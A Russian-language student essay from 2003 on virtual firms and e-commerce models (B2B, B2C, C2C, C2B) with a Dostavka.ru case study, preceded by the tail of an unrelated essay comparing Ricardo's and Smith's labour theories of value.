С точки зрения первого деления предметы труда вместе с трудом противостоят средствам труда, а с точки зрения второго – предметы труда вместе со средствами труда противостоят труду. Поскольку Рикардо смешивал два различных принципа деления капитала, поскольку роль предметов труда, точнее – их стоимость, в процессе формирования стоимости представлялась недостаточно ясной. Вместе с тем, следуем иметь в виду, что Рикардо, исключая предметы труда из тех элементов капитала, которые переносят свою стоимость на производимый товар, при общетеоретической трактовке проблемы включал их в эту рубрику при рассмотрении частных случаев процесса производства.

Развитая Рикардо трудовая теория стоимости явилась выдающимся событием в истории политической экономии, высшим этапом развития данной теории в домарксистский период, несмотря на некоторую непоследовательность позиций Рикардо, историческую и классовую ограниченность его воззрений, не разработанность ряда ключевых проблем теории товарного производства.

Формирование и обоснование трудовой теории стоимости в работах Рикардо представляет собой крупное достижение научной буржуазной политической экономии, по крайней мере, в двух направлениях. Во-первых, эта теория содержит исследование самых общих экономических отношений и закономерностей, лежащих в основе капиталистического способа производства. Во-вторых, она дает разработку важнейшего методологического принципа анализа более развитых и сложных сущностных отношений капиталистической экономики, который позволяет исследовать всю совокупность экономических явлений капитализма с точки зрения их внутренней основы. Трудовая теория стоимости Рикардо, обосновывающая положение о труде как единственном источнике стоимости товара, подводила к пониманию как социально-экономической сущности капитализма, так и в известной мере (хотя и не явным образом) его исторически преходящего характера. И хотя этих проблем Рикардо не решил, его теория стоимости исчерпала те возможности научного подхода, которые давала буржуазная форма мышления.

Дабы подвести итог под всем выше написанным я хотел бы выделить наиболее главные, на мой взгляд, различия между трудовыми теориями стоимости Д. Рикардо и А. Смита:

В своей теории стоимости А. Смит, пришел к идее о том что: “Труд является единственным всеобщим, равно как и единственным точным мерилом стоимости, или единственной мерой, посредством которой мы можем сравнивать между собой стоимость различных товаров во все времена и во всех местах”. Но он считал, что эта теория справедлива лишь в простом товарном производстве. Другое его мнение в том, что стоимость, а значит и цена состоят из затрат труда, и прибавочной стоимости.

Д. Рикардо же построил более логичную теорию, чем у Смита. Он считал, что в стоимости товара следует учитывать не только, затраты труда на его производство, но и затраты труда на производство средств производства с помощью которых производится данный товар, а также затраты труда на производство материалов.

Реферат: Виртуальная фирма: причины появления, отличительные особенности, перспективы развития

САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ

УНИВЕРСИТЕТ ЭКОНОМИКИ И ФИНАНСОВ

Кафедра ОБЩЕЙ ЭКОНОМИЧЕСКОЙ ТЕОРИИ

РЕФЕРАТ

ПО ОБЩЕЙ ЭКОНОМИЧЕСКОЙ ТЕОРИИ

ВИРТУАЛЬНАЯ ФИРМА: ПРИЧИНЫ ПОЯВЛЕНИЯ,

ОТЛИЧИТЕЛЬНЫЕ ОСОБЕННОСТИ, ПЕРСПЕКТИВЫ РАЗВИТИЯ

Выполнил: студентка Юшкина Светлана Валентиновна, группа №160

Научный руководитель: Плотников Владимир Александрович

Санкт-Петербург

2003 год

СОДЕРЖАНИЕ

Введение 3

Глава I. Виртуальное предприятие 5
§1. Понятие «виртуального предприятия» и причины его появления 5
§2. Особенности и признаки виртуального предприятия. Достоинства и недостатки 8

Глава II. Подходы виртуальных компаний к использованию Internet 13

§1. Особенности подхода «предприятие – предприятие» 13
§2. Особенности подхода «предприятие – потребитель» 15
§3. Коротко о других подходах 16

Глава III. Торговля и услуги в Internet 18

§ 1. Взгляд в будущее 18
§2. Российский опыт: www.Dostavka.ru 20

Заключение 23

Список литературы 24

ВВЕДЕНИЕ

XXI век – это информационный век, т. е. век господства автоматизированных информационных технологий во всех сферах деятельности человека.
Информационная технология представляет собой технологию, в которой предметом труда является информационный продукт, а орудием труда – средства электронно-вычислительной техники и связи.

Бизнес является одним из наиболее перспективных направлений использования современных технологий. На конференции, организованной Институтом экономической стратегии в апреле 1999 года в Вашингтоне, председатель совета директоров фирмы Intel Энди Гроув так охарактеризовал будущее бизнеса: «Лет через пять каждая компания превратиться в Internet-компанию
(виртуальную компанию) либо прекратит свое существование, перестанет быть компанией вообще»[1].

До 1992 года Internet с точки зрения пользователя представлял собой мешанину из разнотипных файлов, для передачи которых использовались сложные команды. И только после рубежа, означенного появлением «Всемирной паутины»
— World Wide Web, маркетинговым отделам многих компаний удалось доказать необходимость подключения к Internet.

В результате появления новых сетевых возможностей изменился характер деятельности организаций. Больше нет необходимости собирать людей в одном месте или даже в одной компании для решения задач, связанных с их совместной деятельностью. Новые инструменты и сети дают возможность предоставления информации по мере необходимости, а прикладные системы коллективного пользования дают возможность продуктивно работать пользователям, распределенным в географическом отношении.

В то же время компании изменяют свою структуру информационных технологий, распространяя свои линии связи за пределы компаний во внешние сети. Возрастающая взаимозависимость современного мира экономики и потребность в немедленном доступе к информации порождают необходимость установления связи с поставщиками, заказчиками и партнерами компании в реальном масштабе времени, а также наличия межсетевого интерфейса связи, информационных услуг и включения в глобальную сеть Internet. Эта тенденция к осуществлению важнейших коммерческих операций через линии связи часто называют «электронной коммерцией» — и она изменяет образ многих предприятий на рынке.

Эти новые режимы работы, связанные с распределенной системой расчетов и взаимодействием между предприятиями, привели к возрастанию спроса на глобальные сети, как в плане полосы пропускания, так и возможности связи с любым объектом. Если бы эти виды связи осуществлялись через специально выделенные каналы, они стали бы непозволительно дорогими.

В результате к связи предъявляется подход как к виртуальному предприятию — этот термин отражает как эволюцию модели бизнеса, так и упор на логическую соединимость. В сети виртуального предприятия пользователи получают доступ к необходимым им ресурсам, а сеть обеспечивает канал соединения и выделение необходимой полосы пропускания. Очевидно, что созрели условия для создания новой сетевой инфраструктуры, оптимизированной для объединения в сеть виртуального предприятия.

В ряде европейских источников существует несколько определений понятия
Internet-экономики, которые суммарно сводятся к следующему: «Среда, в которой любая компания или индивид, находящиеся в любой точке экономической системы, могут контактировать легко и с минимальными затратами с любой компанией или индивидом с целью совместной работы: торговли, обмены идеями или просто для удовольствия».

ГЛАВА I

ВИРТУАЛЬНОЕ ПРЕДПРИЯТИЕ

§1. Понятие «виртуального предприятия» и причины его появления.

Виртуальные предприятия являются одной из новых организационных форм предприятий. На развитие новых форм организации и управления предприятием в большей степени повлияли такие тенденции развития современных рынков, как глобализация (универсальный процесс, охватывающий весь земной шар и состоящий из новых интеллектуально-информационных технологий, активно действующих на мировом рынке по укреплению связей денежного капитала с инновациями) рынков, растущее значение качества товара, его цены и степени удовлетворения потребителей, повышение важности устойчивых отношений с потребителями (индивидуальными заказчиками), а также растущее значение степени применения новых информационных и коммуникационных технологий.

Термин «виртуальное предприятие» используется в двояком смысле. В более абстрактном контексте виртуальное предприятие означает наиболее передовую и эффективную форму организации предприятия, которая является наилучшей с точки зрения имеющихся технических и экономических условий. В более конкретном смысле, виртуальное предприятие подразумевает сетевую, компьютерно-посредованную организационную структуру, состоящую из неоднородных компонентов, расположенных в различных местах. Тогда прилагательное «виртуальное» может интерпретироваться как «искусственно образованное», или как «мнимое, не существующее в реальном физическом пространстве», или как «расширенное за счет совместных ресурсов».

В некоторых работах виртуальные предприятие обозначают и другими терминами: «сетевые предприятия»[2], «безграничные предприятия»[3],
«расширенные предприятия»[4]. Как правило, речь идет о сети партнеров
(предприятий, организаций, отдельных коллективах и людей), совместно осуществляющих деятельность по разработке, производству и сбыту определенной продукции.

Виртуальное предприятие создается путем отбора требующихся организационно-технологических ресурсов с различных предприятий и их интеграции с использованием компьютерной сети. Это приводит к формированию гибкой и динамичной организационной системы, наиболее приспособленной для скорейшего выпуска новой продукции и ее оперативной поставки на рынок.

Следует подчеркнуть метафорический характер понятия «виртуального предприятия». Полностью виртуального, т.е. не имеющего базовых структур в реальном физическом пространстве, предприятия, конечно, быть не может.
Здесь речь идет об интенсивном взаимодействии реально существующих специалистов и подразделений различных предприятий в виртуальном пространстве, реализованным на основе новейших информационных и коммуникационных технологий. Такое взаимодействие призвано повысить уровень кооперации и координации предприятий, а в конечном итоге конкурентоспособность производимой ими продукции и, соответственно, прибыль.

В то же время виртуальное предприятие полностью ориентировано на заказчика, поскольку его основные характеристики — это быстрота выполнения заказа (minimal time-to-market) и полнота удовлетворения требований клиента. С включением заказчиков и исполнителей в единую открытую организационную структуру границы между взаимодействующими предприятиями становятся довольно нечеткими, прозрачными и подвижными. Уровень партнерских отношений между поставщиками и клиентами возрастает: преуспевание одних есть необходимое условие преуспевания других.
Предприятие имеет больше шансов остаться довольными своими поставщиками, если они будут активно участвовать в начальной разработке новых продуктов, услуг и даже стратегий предприятия. Так, в частности, производственная функция может смещаться на более ранние стадии и выполняться одним из поставщиков. Например, ныне изготовители интегральных схем выполняют ряд функций, ранее присущих разработчикам компьютеров.

C практической точки зрения, виртуальное предприятие есть сеть свободно взаимодействующих агентов, находящихся в различных местах. Эти агенты разрабатывают совместный проект (или ряд взаимосвязанных проектов), находясь между собой в отношениях партнерства, кооперации, сотрудничества, координации и т.п. Многоагентные системы являются одной из наиболее быстро развивающихся областей искусственного интеллекта. Pазработка виртуального предприятия связана с интеллектуальным моделированием взаимодействия сложных, неоднородных, отстоящих друг от друга агентов. Построение многоуровневых дружественных интерфейсов между агентами играет первостепенную роль. Поэтому в первую очередь требуется построить модели взаимоотношений производителя с заказчиком, поставщиком, подрядчиком и пр., отработка которых позволяет достигнуть большей гибкости и реактивности предприятия. Здесь важное место должны занимать модели организации партнерских отношений в виртуальных предприятиях на основе многозначных логик взаимодействия отдельных предприятий и их подразделений (например, трехзначная логика — кооперация, конкуренция, безразличие), строящихся в зависимости от таких параметров, как совместимость целей предприятий, взаимное доверие и ответственность партнеров при выполнении их обязательств, необходимость объединения ресурсов и недостаток производственного опыта отдельного предприятия.

Виртуальное предприятие может рассматриваться как метапредприятие
(своего рода предприятие над предприятиями), объединяющее цели, ресурсы, традиции и опыт нескольких предприятий при разработке сложных инновационных проектов или при производстве продукции мирового уровня. Создание виртуального предприятия означает интеграцию уникального опыта, производственных возможностей и передовых технологий ряда предприятий — партнеров вокруг некоторого проекта, который не может быть выполнен каждым из них в отдельности. В частности, образование виртуального предприятия из разнородных предприятий обеспечивает взаимную компенсацию их недостатков и усиление преимуществ. Так, например, можно объединить достоинства больших предприятий (мощных, но обладающих сильной инерционностью и медленно реагирующих на изменения рынка) и малых предприятий (испытывающих недостаток в ресурсах, но способных быстро перестраиваться). Виртуальное предприятие не ведает отраслевых или ведомственных границ.

Яркими примерами практической реализации идей виртуального предприятия в компьютерном бизнесе служат объединение усилий фирм Apple и Sony при работе над проектом Powerbook, а также партнерство компаний AT&T, Marubeni
Matsushita при проектировании компьютера (notebook) Safari. Другим классическим примером виртуального предприятия является европейский консорциум AIRBUS Industries, производящий аэробусы A-310 и др.

§2. Особенности и признаки виртуального предприятия. Достоинства и недостатки.

Существует множество определений виртуального предприятия как сетевой организационной формы. Однако, с учетом особенностей практического функционирования таких структур, виртуальное предприятие можно определить как временную кооперационную сеть предприятий (организаций, отдельных коллективов и людей), обладающих ключевыми компетенциями для наилучшего выполнения рыночного заказа, базирующуюся на единой информационной системе[5].

С маркетинговой точки зрения, цель виртуального предприятия – это получение прибыли путем максимального удовлетворения нужд и потребностей потребителей в товарах (услугах) быстрее и лучше потенциальных конкурентов.
Очевидно, что данная цель присуща всем ориентированным на рынок предприятиям. Но, во-первых, виртуальные предприятия, как правило, ориентируются не на удовлетворения нужд и потребностей какого-то
«усредненного» сегмента рынка, а на выполнение определенных рыночных заказов вплоть до удовлетворения определенных запросов конкретных потребителей (заказчиков). И, во-вторых, виртуальное предприятие увеличивает скорость и качество выполнения заказа путем объединения ресурсов различных партнеров в единую систему.

С практической точки зрения, обычному предприятию, например, для разработки и выведения нового товара на рынок требуется привлечение значительных ресурсов. В отличие от него виртуальное предприятие ищет новых партнеров, обладающих соответствующими рыночным потребностям ресурсами, знаниями и способностями, для совместной организации и реализации этой деятельности. Т.е. выбираются предприятия (организации, отдельные коллективы, люди), обладающие ключевой компетенцией в форме ресурсов и способностей для достижения конкурентного преимущества на рынке.

Как правило, партнерство заключается на определенный срок или до достижения определенного результата (например, выполнения заказа). Другими словами, партнерство является временным, и, например, на определенных этапах жизненного цикла изделия или при изменении рыночной ситуации могут в сеть привлекаться новые партнеры или исключаться старые.

С учетом выше сказанного, можно выделить ключевое достоинство виртуальных форм организаций: возможность выбирать и использовать наилучшие ресурсы, знания и способности с меньшими временными затратами. Из этого достоинства и самой сетевой организации вытекают такие основные конкурентные преимущества виртуальных предприятий, как:

— скорость выполнения рыночного заказа;

— возможность снижения совокупных затрат;

— возможность более полного удовлетворения потребностей заказчика;

— возможность гибкой адаптация к изменениям окружающей среды;

— возможность снизить барьеры выхода на новые рынки.

Проведенный Катаевым А. В. анализ деятельности виртуальных предприятий[6] показал, что основными особенностями виртуальной формы организации являются:

— открытая распределенная структура;

— гибкость;

— приоритет горизонтальных связей;

— автономность и узкая специализация членов сети;

— высокий статус информационных и кадровых средств интеграции.

Очевидно, что для планирования, организации и координации деятельности виртуальных предприятий необходимы и соответствующие управленческие подходы. Легко заметить, что при создании виртуальных предприятий могут быть предприятия, которые концентрируют свои усилия исключительно на управлении компетенциями третьей стороны. В данном случае такое предприятие должно обладать как минимум следующими способностями:

— уметь идентифицировать и привлекать ключевые компетенции, необходимые для реализации проекта (аспекты менеджмента знаний);

— на основе привеченных компетенций организовать процесс создания и сбыта продукции (аспекты функционирования сети).

Наряду с перечисленными выше достоинствами, виртуальные предприятия обладают и некоторыми недостатками, точнее, слабыми местами:

— чрезмерная экономическая зависимость от партнеров, что связано с узкой специализацией членов сети;

— практическое отсутствие социальной и материальной поддержки своих партнеров вследствие отказа от классических долгосрочных договорных форм и обычных трудовых отношений;

— опасность чрезмерного усложнения, вытекающая, в частности, из разнородности членов предприятия, неясности в отношении членства в ней, открытости сетей, динамики самоорганизации, неопределенности в планировании для членов виртуального предприятия.

Ниже приведены главные признаки, раскрывающие содержание понятия
«виртуальное предприятие».

. Интеграция лучших средств и опыта различных предприятий в рамках стратегически целесообразных объединений и союзов.

. Организация по проектам или вокруг ключевых процессов (сквозных деловых процессов предприятия или жизненного цикла продукта).

. Образование автономных рабочих групп, обеспечение сотрудничества и координации лиц и коллективов, пространственно удаленных друг от друга.

. Временный характер, гибкость, возможность быстрого образования, развития, переструктурирования и расформирования в нужное время.

. Сочетание децентрализации и централизации в управлении при преимущественном развитии децентрализованного (распределенного) управления, приоритет координационных связей.

. Максимально широкое распределение и гибкое перераспределение полномочий власти, принятие решений на всех уровнях организационной иерархии, сочетание восходящего и нисходящего проектирования.

. Организация группового взаимодействия специалистов с помощью ЭВМ, включая «встречу в сети» (meeting on the network) и согласованные потоки работы (workflow), обеспечение свободного обмена идеями внутри и между уровнями организационной иерархии.

. Разработка неоднородных компьютерных сред и сетей, использование архитектуры клиент-сервер, применение программных средств обеспечения коллективной деятельности (groupware) различного класса.

В современных условиях конкурентоспособность предприятий на мировом рынке
(и особенно на рынке компьютерных средств) зависит от возможностей преобразования ключевых процессов предприятия в стратегические инициативы, нацеленные на как можно более полное удовлетворение требований заказчика, и вообще, на гибкое отслеживание и прогнозирование изменений в конъюнктуре рынка. Новейшими примерами таких инициатив служат перестройка или реинжиниринг (business process reengineering) и инновация (process innovation) процессов деятельности предприятия. Указанные примеры связаны с широким развитием и использованием новых информационных и коммуникационных технологий (НИТ/ НКТ) для управления человеческими ресурсами и планирования будущей деятельности предприятия, моделирования и оптимизации процессов взаимодействия (кооперации и координации) между различными агентами
(специалистами и подразделениями) предприятия. А это и означает актуальность и реальность создания виртуальных предприятий.

Глава II

ПОДХОДЫ ВИРТУАЛЬНЫХ КОМПАНИЙ К ИСПОЛЬЗОВАНИЮ INTERNET

§1. Особенности подхода «предприятие — предприятие».

Модель В2В (business – to – business) предполагает полностью автоматизированное взаимодействие фирм или организаций в ходе предпринимательской деятельности. За рубежом модель В2В появилась около 30 лет тому назад и получила довольно большое распространение.

Говоря о модели В2В, следует отметить два аспекта ее использования. С одной стороны, эта модель имеет место, когда две или более фирмы осуществляют различные сделки между собой. Например, через Интернет они могут направлять предложения о заключении сделок, получать котировки от своих поставщиков, заключать контракты, получать и оплачивать счета.

С другой стороны, характерной чертой развитых систем ведения электронной коммерции в секторе В2В является их интеграция с корпоративными информационными системами (КИС). Таким образом, в потенциале обеспечивается не только автоматизация процессов закупок и сбыта, но и решение соответствующих задач комплексной автоматизации управления фирмой.

Данная модель ведения электронной коммерции, возможно, является самой перспективной сферой электронной коммерции в России. В рамках внутреннего рынка это направление электронного предпринимательства помогает создавать новые коммерческие связи между российскими производителями, а также значительно облегчает процесс приобретения материалов и оборудования российскими предприятиями друг у друга по сравнению с импортированием тех же материалов из-за рубежа. На международном уровне модель В2В позволит российским производителям более активно участвовать в мировом рынке.

В целях построения и успешного функционирования модели В2В необходимо, чтобы сегмент рынка, для которого она предназначена, был готов к принятию и использованию подобных решений. Этот сегмент рынка должен обладать рядом характеристик, важнейшие из которых: объемность, структурированность и массовость. Естественно, что для североамериканского, западноевропейского и российского рынков показатели по объему будут резко отличаться. Если американские компании, ведущие электронную коммерцию по модели В2В, нацелены на сегмент рынка, где оборот составляет миллиарды долларов в год, то российские предприятия пока не могут ориентироваться на подобные показатели. Рынок должен быть структурирован, то есть иметь точно определенный признак (отраслевой, продуктовый и т. д.), отличающий как сам рынок, так и его участников от других и обладать устоявшимися правилами поведения на нем. Рынок также должен быть массовым и если группа предприятий может контролировать или монополизировать рынок, то ведение электронной коммерции по модели В2В в данном сегменте рынка будет не эффективно.

Различные предприятия и участники в данном сегменте рынка преследует каждый свои цели, но от внедрения и использования модели В2В могут выиграть все. Предприятия-поставщики технологических решений выиграют при реализации модели В2В от продажи своих продуктов, технологий и знаний, а в дальнейшем от осуществления функций по сопровождению процесса электронной коммерции по этой модели. Стоит отметить, что зачастую такие предприятия становятся владельцами или полноправными партнерами информационного ресурса и участвуют в получении прибыли от его функционирования. Предприятия-продавцы увеличат рынок сбыта, сократят цепь поставок и снизят сбытовые затраты, получат возможность более детально работать с каждым заказом. Предприятия- покупатели получат возможность выбора продуктов и поставщиков в одном месте, общее снижение цен на товары, высокую скорость и качество обслуживания. Для всех участников в целом выигрыш заключается в возникновении новых перспектив развития деловой деятельности.

§2. Особенности подхода «предприятие – потребитель».

Модель В2С (business – to — consumer) используется при продаже предприятием своих товаров и/или услуг непосредственно конечным потребителям. Концептуально эта модель существенно более прозрачна и понятна широкой аудитории, чем предыдущая, поэтому она наиболее популярна сейчас в средствах массовой информации.

Одним из примеров крупного предприятия, работающего в рамках данной модели, является Amazon.com, американская фирма по розничной торговле книгами, имеющая более 30 млн. клиентов по всему миру. По мере расширения своего бизнеса Amazon.com создала новую модель сети сбыта, обеспечивающую поставку товаров потребителям в любой стране мира. Модель В2С позволяет уравнять различия в доступе к товарам и услугам между потребителями, живущими в крупных городах и отдаленных регионах, при условии решения проблемы доступа в Интернет и возможности оплаты в соответствующем регионе.

Между В2В и В2С существует принципиальная разница. В отличие от В2С, при использовании модели В2В осуществляются операции с широким спектром контрагентов (банки, поставщики и т. д.). Это означает, что любой субподрядчик предприятия имеет возможность просматривать текущие потребности предприятия в соответствующих товарах или услугах и незамедлительно реагировать на сформировавшийся запрос. Таким образом, он может планировать поставку, определять сроки и способы доставки, выставлять счета и т. д., причем все нужные сведения в идеале должны напрямую вводиться в систему управления ресурсами данного предприятия. Ведение электронной коммерции в соответствии с моделью В2С подразумевает ведение коммерческих операций (закупка, продажа, оплата и т. д.) через Интернет, в то время как электронная коммерция в соответствии с моделью В2В включает в себя более широкий спектр технологических решений.

Следует отметить три особенности модели В2С. Первая заключается в том, что часто сам продавец ведет торговлю не с помощью автоматизированной системы, интегрированной с Интернет-интерфейсом (система унифицированных связей и сигналов, посредством которых устройства вычислительной системы соединяются друг с другом и обеспечивают обмен данных между исполнительными устройствами автоматической системы или между человеком и машиной), а
«вручную», через своих же менеджеров, и подавляющее большинство Интернет- магазинов России выстроены именно по этой схеме. Вторая – в том, что для этой модели абсолютно все равно, кто обслуживается – физическое лицо или юридическое. Именно поэтому большинство Интернет-магазинов легко справляется с задачей обслуживания и частных и юридических лиц. Третья особенность связана с самим процессом ведущейся по этой модели электронной коммерции. Дело в том, что далеко не всегда процесс, связанный с предпринимательской деятельностью, действительно автоматизирован с помощью системы управления и, в результате, он часто представляет собой некий весьма хаотичный набор действий отдельных менеджеров предприятия. Один менеджер действует по одной схеме, другой – по иной, поэтому автоматизировать всю деятельность очень сложно.

В целом на начало 2001 года объем мирового рынка электронной коммерции в секторе В2С измерялся миллиардами долларов, что примерно на два порядка ниже, чем объем рынка сектора В2В[7].

§3. Коротко о других подходах.

Модель С2С – «потребитель-потребитель».

С2С имеет место в случае, когда одни потребители продают товары другим потребителям. Потребители могут быстро и без лишних усилий заключать сделки между собой в режиме реального времени с помощью третьего лица – провайдера. Таким ведущим провайдером в США, например, является ebay.com, который революционизировал концепцию С2С, предоставив необходимые процедуры обслуживания электронной коммерции напрямую между потребителями в формате электронного аукциона через Интернет. Данное направление позволяет людям заключать сделки в любой удобный для них момент, в итоге уменьшаются накладные расходы, что, в свою очередь, экономит средства конечного потребителя.

Модель С2В – «потребитель-предприятие»

С2В имеет место, когда потребители назначают свою цену на различные товары и услуги, предлагаемые предприятиями. На сегодня С2В является менее развитым сектором электронной коммерции по сравнению с рассмотренными выше моделями В2В, В2С и С2С. Характерным примером ведения электронной коммерции по модели С2В является американская компания Priceline.com, которая позволяет покупателям назначать цену, по которой они хотели бы купить тот или иной товар или услугу. Priceline.com действует в качестве брокера, который находит поставщика, желающего продать товар по такой цене.

Глава III

ТОРГОВЛЯ И УСЛУГИ В INTERNET

§ 1. Взгляд в будущее.

Электронные торговые операции станут в ближайшее время основной частью любого бизнеса. Фирмы, активно использующие Internet-технологии, имеют преимущества перед конкурентами, в первую очередь за счет оперативного решения своих задач. Отход от традиционного маркетинга, основанного на изучении запросов нескольких статично определенных групп потребителей, дает возможность компании собирать подробную информацию о каждом клиенте и постоянно поддерживать с ним связь. Это позволяет эффективно использовать каналы прямых продаж, тем самым значительно сокращая свои издержки и стоимость товара для покупателя. Эта модель нового рынка, ориентированного на потребителя, и использующего иные, чем прежде, схемы взаимодействия компаний как с друг другом (business-to-business), так и с конечными потребителями (business-to-consumer или consumer-to-business). Торговые площадки этого рынка существуют в нескольких видах, соответственно потребностям участников рынка. Виртуальные магазины позволяют сводить большое количество покупателей и продавцов. Аукционы создаются для ликвидации излишков продукции у продавцов, на них взаимодействует много покупателей и несколько продавцов. Виртуальные биржи, как и традиционные, создаются для торговли стандартизированным товаром в одной отрасли.

Новый рынок естественен и удобен не только для покупателей, но и для производителей. Он позволяет экономить огромные средства за счет упрощения взаимодействия компаний с партерами, сокращения времени на обработку заказов и выведения новых товаров на рынок (по данным Morgan Stanley Dean
Witter Internet Research, экономия для компаний разных секторов составляет от 15 до 50%)[8]. При этом участники виртуального (электронного) рынка, получая в режиме реального времени доступ к информации о спросе и состоянии рынка, более застрахованы от маркетинговых просчетов и опасности перепроизводства.

Современной тенденцией нового рынка является переход от торговли по принципу «один покупатель – множество продавцов» к принципу «множество покупателей – множество продавцов». Различные элементы этого рынка, распределенные по сетям, уже не привязаны к традиционной модели торговли, которая обеспечивала возможность сделок только одного покупателя с несколькими его поставщиками. Новая модель позволяет связать множество покупателей с множеством поставщиков, создавая тем самым некую глобальную цепь поставок в одном огромном виртуальном супермаркете. При этом сопровождение всех каталогов, управление всей необходимой инфраструктурой, оформление всей сопроводительной документации, доставка продукции и все остальные проблемы, связанные с осуществлением сделок, могли бы, в принципе решаться централизованно некой «третьей стороной» и перестали бы быть постоянной проблемой покупателей, которую они сами не в состоянии решить.

Компания AMR Research подразделяет все существующие Internet-рынки или торговые центры на три основных типа:

[pic] hub-based trade communities – концентрирующиеся вокруг общего ядра торговые сообщества, каждое из которых формируется одним крупным покупателем или одним крупным продавцов вокруг известных ему продавцов или покупателей соответственно;

[pic] совокупность нескольких подразделений – имеют горизонтальную структуру, но могут осуществлять операции и по вертикали внутри каждого из входящих в их состав подразделений. При этом система обслуживания всех подразделений остается единой и пронизывает все элементы подобного рынка и по горизонтали, и по вертикали;

[pic] независимые рынки – базируются на отдельных отраслях торговли или промышленности. Они имеют, соответственно, вертикальную структуру, но не предусматривают (по крайней мере, теоретически) наличие в своем составе какой-либо доминирующей организации или фирмы.

В настоящее время можно выделить следующие наиболее прогрессирующие формы проведения торговых операций:

. Internet – магазин.

. Internet – биржа.

. Internet – аукцион.

. Internet – услуги.

§2. Российский опыт: www.Dostavka.ru

В российском сегменте Сети в конце 1998 года был создан электронный магазин по продаже компьютеров, комплектующих и расходных материалов
Dostavka.ru. Первый год его деятельности говорит о хороших перспективах: магазин имеет высокую популярность среди онлайновых покупателей Рунета, его услуги расцениваются как наиболее удобный и недорогой способ приобретения компьютеров, комплектующих и расходных материалов в Интернете.

Цены Dostavka.ru находятся в промежутке между ценами компьютерных рынков и салонов, но если есть спрос на определенный товар, то цена чуть повышается. Если в ассортименте обычного магазина 300 позиций, то на складе должно быть 700 единиц товара. Стоимость товара составляет колоссальную сумму, а она каждый день уменьшается, потому что цену на такую продукцию постоянно снижаются. В сравнении с обычным магазином затраты на содержание склада в 10 раз ниже, так как не нужны большие складские запасы. В этом значительный плюс виртуального магазина.
Представители Dostavka.ru считают, что ассортимент виртуального магазина не должен насчитывать тысячи позиций. Одна из тенденций развития виртуальных магазинов на Западе заключается именно в наращивании ассортимента. Однако российская специфика бизнеса всегда отличалась от мировой. Есть вероятность, что на практике в данном сегменте рынка в России в текущий период времени отсутствие большого ассортимента себя оправдывает.

Основными покупателями являются люди, которые достаточно хорошо разбираются в компьютерах и понимают, что за комплектующие хорошего качества имеет смысл платить деньги. Можно лишь приветствовать те принципы, которых придерживается Dostavka.ru: продажа лишь высококачественных товаров, соблюдение прав потребителей, предоставление гарантии на всю технику.

В сентябре 1999-го магазин принимал участие в рекламной акции Intel, приуроченной к началу учебного года. Его имя появилось на рекламных щитах и листовках. Почему же Intel обратилась именно к этому магазину? Дело в том, что весной и летом 1999 года Dostavka.ru был, пожалуй, единственным сайтом, торгующим компьютерами, который начал себя хоть как-то рекламировать во внешнем для сети мире, т. е. в оффлайн. Его усилия были замечены и началось сотрудничество между большой корпорацией и маленьким российским сайтом.

На сегодняшний день Dostavka.ru работает только в пределах МКАД. Что касается расширения инфраструктуры на российские регионы, то здесь руководители магазина пока испытывают определенные опасения. Сложности развития этого сервиса они связывают как с техническими трудностями в случае возврата бракованного товара, так и с неразвитостью сети сервисных центров различных фирм-производителей.

Размышляя о перспективах своего бизнеса, руководители Dostavka.ru понимают, что ситуация на рынке начала серьезно меняться. Они говорят: «Уже стало не так просторно». Удивительно, что при всех трудностях первых шагов российского Internet-бизнеса даже виртуальный магазин с неплохим опытом и отработанной системой деятельности начинает испытывать давление со стороны формирующегося рынка. Данную ситуацию нельзя оценить однозначно. С одной стороны, здесь прослеживается явная тенденция, которая заставляет предлагать новые услуги, продумывать нестандартные маркетинговые ходы – словом, добиваться преимущества перед возникающими конкурентами. С другой стороны иметь виртуальный магазин становится модным. Сама специфика электронного бизнеса такова, что владельцем магазина может стать любой студент, мало-мальски знающий компьютер и Internet. В общем, как в известном анекдоте: «Никто ведь не знает, что я собака». И здесь таится опасность дискредитации идеи виртуального магазина.

Тем не менее, у руководства магазина Dostavka.ru взгляды на будущее достаточно оптимистичны: «У нас есть перспектива, потому что рост числа пользователей неизбежен».

ЗАКЛЮЧЕНИЕ

Уже нет сомнений в том, что мир с каждым днем становится другим. Под действием технического прогресса меняются границы стран, химический состав воздуха и т. д. По своей значимости, те изменения, которые привнесла в нашу жизнь Сеть, можно смело ставить в один ряд с влиянием крупнейших открытий.
Как явление эпохального масштаба, Сеть вынуждает меняться нас самих, адаптируясь к новой эпохе — жизни с Сетью. Как уже стало ясно, она способствует снижению издержек по распространению информации и по проведению рыночных сделок. Поэтому она становится полигоном для инноваций в области бизнеса.

Мы живем в ту эпоху, когда представление о большой и маленькой фирме претерпевают изменения. Большая фирма – та, которая обладает большим объемом информации, но не обязательно крупными суммами. Например, состязание Netscape и Microsoft выглядит схваткой равных соперников, хотя финансовые возможности компаний несоизмеримы. Возникающие формы виртуальной организации бизнеса обладают рядом преимуществ, что, несомненно, определяет перспективность их будущего развития. Парадоксально, но у виртуальной компании может не быть офиса или телефона, но обязательно должен быть Web- узел.

На основе всего вышесказанного, некоторые могут решить, что переход в
«виртуальную» стадию сужает границы фирмы, ведь теперь остается только те сотрудники, без которых в офисе не обойтись. Но с другой стороны, виртуальная фирма расширяет свои границы почти до бесконечности до той степени, насколько может этому способствовать Internet.

СПИСОК ЛИТЕРАТУРЫ

1. Балабанов И. Т. Интерактивный бизнес. – СПб: Питер, 2001.

2. Балабанов И. Т. Электронная коммерция. – СПб: Питер, 2001.

3. Быков В. А. Электронный бизнес и безопасность. – М.: Радио и связь,

2000.

4. Козье Д. Электронная коммерция: Пер. с англ. – Москва: Издательско- торговый дом «Русская редакция», 1999.

5. Пейтел К., Мак-Каотни М. П. Секреты успеха в электронном бизнесе/ Пер. с англ. под ред. Г. С. Осипова. – СПб: Питер, 2001.

6. Электронная коммерция: Учебное пособие для служащих государственных организаций и коммерческих фирм / Под общей редакцией Реймана Л. Д.

–М.: НТЦ «ФИОРД – ИНФО», 2002.

7. Соколова А. Н., Геращенко Н. И. Электронная коммерция: мировой и российский опыт. – М.: Открытие системы, 2000.

8. Использованы источники из Internet.

————————
[1] Семенов А. Бизнес: либо Internet , либо…одно из двух//Алло! – 1999. –
№10 (27). – с.15.
[2] Райсс М. Границы «безграничных» предприятий: перспективы сетевых организаций//Проблемы теории и практики управления, №1, 1997.
[3] Патюрель Р. Создание сетевых организационных структур//Проблемы теории и практики управления, №3, 1997.
[4] Тарасов В. Причины возникновения и особенности организации предприятия нового типа//Проблемы теории и практики управления, №1, 1998.
